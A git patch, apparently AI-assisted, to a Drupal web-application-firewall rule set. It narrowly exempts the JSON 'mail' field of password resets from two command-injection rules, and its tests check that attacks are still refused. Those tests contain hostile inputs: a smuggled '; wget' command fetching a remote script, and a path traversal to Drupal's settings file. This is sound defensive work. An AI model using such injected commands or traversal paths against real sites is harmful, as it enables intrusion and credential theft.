From e012b889f96b48e84d27dfbcbe1d5a0e4c1acf5a Mon Sep 17 00:00:00 2001 From: sneak Date: Tue, 10 Nov 2026 01:08:51 +0000 Subject: [PATCH] Core Rule Set: Drupal's JSON password reset takes an address (closes #262) POST /user/password?_format=json with a mail of python3@example.com or powershell@example.com was refused while bodies are read. On that path, the JSON field mail now skips 932120 and 932260, the two rules the recorded addresses set off, unless the query has a json.mail parameter. Recorded from Drupal 11.4.11. Model: opus-5-5 --- SPEC.md | 1 + internal/coreruleset/drupal.conf | 9 ++++ internal/coreruleset/drupal_test.go | 41 ++++++++++++++++--- .../coreruleset/testdata/drupal-requests.txt | 5 +++ 4 files changed, 51 insertions(+), 5 deletions(-) diff --git a/SPEC.md b/SPEC.md index af7e048..0a78d61 100644 --- a/SPEC.md +++ b/SPEC.md @@ -977,6 +977,7 @@ requests. The changes hold in front of every app, and no setting undoes them: - `name` and `pass` when signing in (930120, 932120, 932250, 932260). - `name` when resetting a password through Drupal's JSON format on `/user/password`, for the same four rules. + - `mail` in that same reset, for 932120 and 932260 only. - `name` when signing up, editing an account and commenting without an account, for the same four rules. - `mail` on those forms, for 930120, 932120 and 932260 only. diff --git a/internal/coreruleset/drupal.conf b/internal/coreruleset/drupal.conf index 685fee6..3ee559c 100644 --- a/internal/coreruleset/drupal.conf +++ b/internal/coreruleset/drupal.conf @@ -228,3 +228,12 @@ SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/user/password$" \ ctl:ruleRemoveTargetById=932120;ARGS:json.name,\ ctl:ruleRemoveTargetById=932250;ARGS:json.name,\ ctl:ruleRemoveTargetById=932260;ARGS:json.name" + +# The same reset may name the account by its address in the JSON field mail: +# POST /user/password?_format=json with a mail of python3@example.com. An +# address skips only the two rules the recorded addresses set off. +SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/user/password$" \ + "id:900818,phase:1,pass,nolog,chain" + SecRule &ARGS_GET:json.mail "@eq 0" \ + "ctl:ruleRemoveTargetById=932120;ARGS:json.mail,\ + ctl:ruleRemoveTargetById=932260;ARGS:json.mail" diff --git a/internal/coreruleset/drupal_test.go b/internal/coreruleset/drupal_test.go index 2bf644e..81a8210 100644 --- a/internal/coreruleset/drupal_test.go +++ b/internal/coreruleset/drupal_test.go @@ -183,14 +183,24 @@ func TestDrupalAttacksAreRefusedInTheJSONPasswordReset(t *testing.T) { `; wget http://example.com/x.sh`, `../../sites/default/settings.php`, } { - r := request{http.MethodPost, drupalJSONPasswordReset, []string{jsonBody}} - body := `{"name":"` + attack + `"}` + for _, field := range []string{"name", "mail"} { + r := request{http.MethodPost, drupalJSONPasswordReset, []string{jsonBody}} + body := `{"` + field + `":"` + attack + `"}` - got, _ := inspectBody(t, crs, r, body) - if got.Score < drupalThreshold { - t.Errorf("POST %s %s let through: %+v", r.target, body, got) + got, _ := inspectBody(t, crs, r, body) + if got.Score < drupalThreshold { + t.Errorf("POST %s %s let through: %+v", r.target, body, got) + } } } + + // An address keeps 932250, which refuses ls -la. + r := request{http.MethodPost, drupalJSONPasswordReset, []string{jsonBody}} + + got, _ := inspectBody(t, crs, r, `{"mail":"ls -la"}`) + if got.Score < drupalThreshold || !slices.Contains(got.RuleIDs, 932250) { + t.Errorf("POST %s mail ls -la: %+v, want 932250 among them", r.target, got) + } } // drupalCommandAttack is a shell command that only 932230 and 932235 refuse @@ -357,6 +367,16 @@ func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) { t.Errorf("POST %s %s refused: %+v", r.target, body, got) } } + + for _, address := range []string{"python3@example.com", "powershell@example.com"} { + r := request{http.MethodPost, "/fr" + drupalJSONPasswordReset, []string{jsonBody}} + body := `{"mail":"` + address + `"}` + + got, _ := inspectBody(t, crs, r, body) + if got.Score >= drupalThreshold { + t.Errorf("POST %s %s refused: %+v", r.target, body, got) + } + } } func TestDrupalExclusionsAreNarrow(t *testing.T) { @@ -436,4 +456,15 @@ func TestDrupalBodyFieldsStayCheckedInTheQuery(t *testing.T) { t.Errorf("POST %s let through: %+v", r.target, got) } } + + // So does the JSON field mail, beside json.mail in the query. + r := request{ + http.MethodPost, drupalJSONPasswordReset + "&json.mail=python3%40example.com", + []string{jsonBody}, + } + + got, _ := inspectBody(t, crs, r, `{"mail":"python3@example.com"}`) + if got.Score < drupalThreshold { + t.Errorf("POST %s let through: %+v", r.target, got) + } } diff --git a/internal/coreruleset/testdata/drupal-requests.txt b/internal/coreruleset/testdata/drupal-requests.txt index 3dc76f3..004769b 100644 --- a/internal/coreruleset/testdata/drupal-requests.txt +++ b/internal/coreruleset/testdata/drupal-requests.txt @@ -412,6 +412,11 @@ {"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"name\": \"powershell\"}"} {"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"name\": \"ls -la\"}"} {"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"name\": \".htaccess\"}"} +{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"mail\": \"example@example.com\"}"} +{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"mail\": \"python3@example.com\"}"} +{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"mail\": \"powershell@example.com\"}"} +{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"mail\": \"ls-la@example.com\"}"} +{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"mail\": \"htaccess@example.com\"}"} {"method": "POST", "target": "/user/logout?_format=json&token=6g2zVXyWnyiVNy0zy76IqHwJfb_Q7fY4m1cpnZyh0LY", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value"], "body": ""} {"method": "PATCH", "target": "/jsonapi/node/article/77b584a4-587e-4273-90b7-2677a1502feb", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json", "Content-Type: application/vnd.api+json", "X-Csrf-Token: fK1nVGRmImLpZRnGKVLo_fRY4zvgCTRWbMAXJ0023ho"], "body": "{\"data\": {\"type\": \"node--article\", \"id\": \"77b584a4-587e-4273-90b7-2677a1502feb\", \"attributes\": {\"title\": \"Edited about docker-compose.yml\", \"body\": {\"value\": \"

SELECT rows FROM table, then ls -la.

\", \"format\": \"basic_html\"}}}}"} {"method": "GET", "target": "/jsonapi/node/article/77b584a4-587e-4273-90b7-2677a1502feb?include=uid", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}